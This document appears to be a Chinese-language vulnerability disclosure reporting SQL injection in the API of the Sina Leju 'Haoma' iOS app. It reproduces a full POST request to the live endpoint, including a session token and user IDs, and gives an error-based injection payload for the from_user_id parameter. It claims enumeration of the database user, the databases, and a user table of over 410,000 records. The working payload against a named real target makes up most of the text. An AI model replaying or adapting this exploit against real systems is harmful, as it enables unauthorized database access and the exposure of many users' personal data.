目标:新浪乐居好吗IOS APP

检测发现以下地方存在SQL注入:(POST中的app_ver/from_user_id,报错注入)
 

POST https://haoma.leju.com/api/user/get_friend_list.json HTTP/1.1 Host: haoma.leju.com Proxy-Connection: close Accept-Encoding: gzip Content-Type: application/x-www-form-urlencoded; charset=utf-8 Content-Length: 129 Connection: close User-Agent: 好吗 2.0.0 (iPhone; iPhone OS 9.3.1; zh_CN) app_ver=2.0.0&device=ios&from_user_id=418923&keyid=10001&page=1&per_page=20&user_id=419965&token=6E907F7FE53A0E53AC706D5328735BCA



Payload:
 

from_user_id=418923 AND (SELECT 1119 FROM(SELECT COUNT(*),CONCAT(0x716b6a7671,(SELECT (ELT(1119=1119,1))),0x717a6b6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

1、当前数据库用户
 



2、所有数据库
 



3、用户表,涉及41W+用户数据,具体就不深入了